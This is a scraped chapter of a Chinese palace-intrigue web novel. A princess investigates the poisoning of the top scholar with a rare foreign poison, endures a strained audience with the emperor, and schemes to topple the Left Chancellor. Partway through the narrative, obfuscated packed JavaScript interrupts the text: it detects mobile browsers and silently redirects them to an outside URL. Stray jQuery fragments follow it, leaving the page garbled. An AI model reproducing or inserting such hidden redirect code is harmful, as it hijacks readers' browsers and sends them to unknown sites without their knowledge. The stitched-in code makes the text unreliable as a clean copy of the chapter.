19.第 19 章

作品:《公主篡位时兼职训狗

    毒药毕竟是拓晤特有的毒药,目前在宴上的只有赵赐安一个拓晤人,怀疑他也正常。


    但是他为了什么要去给温忱下毒,没那动机。


    而且若真的是他下毒,更没道理刚下了毒就把解药送来,多此一举。


    赵赐安眉尾下压,总想给自己辩解什么却又不知道该怎么说,只能重复道:“不是我……”


    “那你认为是谁?”高秋堂冷着脸看向他。


    她不见得真的怀疑赵赐安,但是这毒药属实是太巧了,拓晤的、赵赐安现在有的,针对性实在太强。


    左相?


    毕竟左相方才在宴上那阴恻恻的眼神是高秋堂亲眼所见的,但是左相是怎么下的毒?


    拓晤的毒他又是怎么拿到手的,这也是问题。


    高秋堂的指甲陷阱手心肉里,轻微的刺痛让她格外冷静。


    宴上那么多人,给温忱敬酒的人也多,一个一个查也很困难,皇帝那边也一定要插手的,高秋堂感觉一阵头痛。


    她叹了口气:“你先回去吧,中秋时的活动我会叫人通知你。”


    她也要赶紧走了,公主留在状元家里太长时间,传出去毕竟不太好看。


    冷风一吹,赵赐安感觉鼻头一阵发酸,看着高秋堂疲累的样子,也不多说什么,闷闷说了声“好”就要走。


    大抵是他的背影格外落寞,看起来萎靡极了,高秋堂道:“别多想,没怀疑你。”


    赵赐安脚步顿住,回头看向高秋堂,眼眶里甚至蓄了泪,听了她的话就忽然落下,他忙用袖子擦去,沙哑着嗓子道:“多谢公主,我明白。”


    两个月前,他被拓晤抛弃了,跋山涉水来到陈国,受着鄙夷的眼神一步一步,小心翼翼的保全自己的性命。


    大半个月前,在秋猎场上那支羽箭,彻底斩断他的以前,而那个鲜红的身影,是他的以后。


    如果高秋堂再放弃他,赵赐安就真的没有了任何去处。


    他也不太清楚自己是怎么回到质子府的,府上一片冷清,侍卫上前来迎接:“主子你回来了。”


    刚一上前,看见赵赐安那落魄样子,马上惊讶道:“您这是怎么了?外头也没下雨,怎的脸都湿了?”


    说着,赶忙拿出一方帕子为他擦去脸上水渍。


    赵赐安接过帕子,顺带擦了擦手,又恢复了平常的样子。


    他来陈国有段时间,什么样的眼神都在他身上停留过,警戒的、鄙夷的、看笑话的,却没有一个像高秋堂方才质疑的眼神那般伤人。


    大抵是高秋堂是第一个帮他的人,之前在秋猎时救他一命,说了要效忠一辈子,就从未想过其他的。


    说是救命恩人,但其中心绪只有赵赐安知道。


    那一片枯黄林中,眼光照在高秋堂身上,一身红衣实在是过于耀眼。


    赵赐安推开侍从,冷着脸走到储藏室前:“打开。”


    他从拓晤带来的东西不多,那无名剧毒算上,都是有数的。


    无名毒药专供拓晤皇室,在陈国除了自己,还能有谁有?


    侍从拿出钥匙打开门,里面有几把弓箭、几把长刀还有两个镶嵌了宝石的匕首,以及一个在角落的盒子。


    赵赐安走到箱子前,方才他来取解药时太仓促,没来得及好好看。


    他打开箱子清点……少三包。


    **


    状元郎遇刺的消息传的很快,高秋堂刚一回宫,皇帝便宣她过去。


    御书房里,皇帝手中端着青瓷杯,轻轻吹开最上层的茶沫,分不出情绪。


    高秋堂站在案前,等着皇帝开口。


    她内心早已有了想法,但是对上皇帝总是会心慌,只能放慢自己的呼吸来保持冷静。


    “听闻状元遇刺,在自己家中忽然口吐鲜血,昏迷不醒。”皇帝放下茶杯,却也没把眼神落在高秋堂身上。


    高秋堂道:“回父皇,那时状元酒意上头,出宴醒风,不多时婢女就来喊人,儿臣也不知为何。”


    皇帝抬起头,混浊的双眼看不清情绪,面上没有其他表情却显得更加威严。


    “你一介女流,去那般场合,没出事尚可,一出事,便给自己惹了一身腥。”


    这一身腥是指的什么?高秋堂不清楚,只能跟着附和道:“父皇说的是。”


    皇帝看她低眉顺眼的样子,不管有没有什么火气都没再多说什么,沉默半晌。


    高秋堂见他长久不说话,一直委身屈膝,不由得悄悄抬头去看皇帝的反应,却和皇帝对上目光。


    那眼神有种让人说不上来的情愫,或怀念、或缠绵。


    之前有人说:公主和先皇后长得倒像是一个模子里刻出来的一般。


    所以他这是……想先皇后了?


    皇帝忽然道:“你与你母后一般样子,说了不让去做什么,一股子劲就是要去做,撞了南墙也不知道回头,这宫里有什么不好?怎么一个两个都要出宫去?”


    这话到底是说给谁听的高秋堂也不清楚,只感觉没来由的一阵恶心。


    这算什么?怀念亡妻?


    先皇后死前也未曾见过多么深情,怎么今天就开始对着和先皇后八分相似的脸,对着女儿想念亡妻?


    “怎么都那么不听话!”皇帝用力一拍桌子,杯盏里的茶水撒出,一旁太监忙上前擦去。


    高秋堂低着头,答道:“父皇教训的是。”


    她在皇帝面前总是一副顺从样子,不多说,不愿多说。


    她厌恶这个皇帝,这个父亲。不管是替百姓,亦或是母亲。


    瞧她这个样子,皇帝也没有再多说些什么,摆了摆手道:“你退下吧。”


    “谢过父皇。”


    高秋堂头也不回的离开御书房,还没等走很远,就听见身后传来一声清脆的摔盘声。


    “啧。”她没回头看,走了一段路和刚进宫的瞿简光撞了着照面。


    “公主。”瞿简光拱手行礼。


    “表兄。”高秋堂稍一侧身,道:“父皇尚在御书房。”


    皇帝最近宣瞿简光的次数不知为何总有些频繁,高秋堂问道:“此次又为何而来?”


    瞿简光向她凑近,他身上有一股很淡的清竹香气,连带着说话都很轻:“仍是左相贪污之事。”


    左相湖州贪污的账单高秋堂手上也有一份,但总不知何时何地去揭发,若是瞿简光能解决,倒是少了很大的麻烦。


    高秋堂点头:“费心了。”


    瞿简光道:“左相落马,与你与我都是好事。”


    “嗯。”高秋堂道:“请。”


    她让开了去尚书房的路,瞿简光却凑近她,温声道:“此处不便详谈,稍后自会去拜见公主。”


    高秋堂忍不住向后仰跟他拉开距离,压下心底不喜,道:“父皇尚在御书房,大人莫要耽搁时间了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054449|192757||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    听见“大人”二字,瞿简光神色倏忽一变,道:“是我逾矩了。”


    他再也没说什么,道别之后快步朝御书房走去。


    左相贪污之事好几天都没见个动静,但依瞿简光的动作,估计快了。


    连同之前秋猎遇刺,怕是不死也要剥层皮。


    除掉左相后,所有的事情都会轻松许多。


    温忱……高秋堂总也想不通,如果真的是左相下的毒,他总有其他的办法除掉温忱,却非要在温忱的升官宴上露脸,非要说一番话惹人注意再离席。


    不对劲……


    高秋堂回到自己殿上,坐在桌前,总感觉烦闷。


    她一挥手,身后婢女上前:“公主有何吩咐。”


    忘了,青玉留在状元府上照看温忱了。


    “啧。”高秋堂道:“临近中秋,京中好赏之物繁多,你传话给瞿府的那位妹妹,叫她带些东西,中秋时陪我逛逛。”


    “是。”


    高秋堂遣散宫内其他人,殿内只剩她一个。


    炉中檀香袅袅,宫中安静万分。


    好不容易能放空心思,心中却被这些事情全然填满。


    之前和皇帝商谈的封地之事还是要多去打点一番,否则早晚被皇帝置之脑后。


    官场上都是些老狐狸,手底下的门生几乎把朝堂填满,成为一张密不透风的网,她能掀开这张网已是不易,更别说把它撕破。


    既然从里面破不开,那就出了这张网,在外面把它掀个底朝天。


    “公主,”有人叩响门扉:“瞿大人求见。”


    “让他进来。”


    瞿简光推门而入时,高秋堂已端坐主位,面上疲惫之态尽数褪下,只剩沉静。


    “不必久站,坐吧。”高秋堂说着,一边叫人上茶。


    瞿简光端着茶盏,轻咳一声。


    高秋堂了然:“你们都下去吧。”


    遣散了所有人,瞿简光才开口:“方才我将湖州账本呈上,陛下勃然大怒,但盛怒之后,便也没其他的了……”


    高秋堂抬眸:“怎么说?”


    “陛下怒斥左相‘枉负圣恩’却叫我暂时压下证据。”瞿简光轻抿口茶:“想必现在还不愿多管。”


    左相在朝中独断专行,手里握着的实权不容小觑,皇帝忌惮倒也没错。


    但是他既然不想管这件事情,就要逼着他必须管。


    高秋堂喝了口茶,苦味在嘴里散开,她道:“之前拓晤刺杀之事可曾提到?”


    “未曾。”


    高秋堂神色不变,依然平静:“先压下吧。”


    “好。”瞿简光也不多问,只是看向高秋堂时多了几分其他的情绪。


    温忱中毒这件事还没能拿出来说,但想必也会叫人大做文章。


    说吧,说的越多,声音越大,传到皇帝耳朵里,就不是他愿不愿意管的事情了。


    左相负责的秋猎上有拓晤的刺客,他下的毒是拓晤皇室专供的毒药。


    风言风语,也就成真了。


    谁下的药现在不重要,重要的是这必须是左相下的药。


    “中秋宴的计划,大人可有进度?”


    瞿简光一怔,道:“前些日子于大理寺卿谈及,大抵收了些消息。”


    高秋堂点头:“多想瞿大人了。”


    “言重了。”瞿简光面色不变,忽然说“你我既是一家,何须如此生疏?”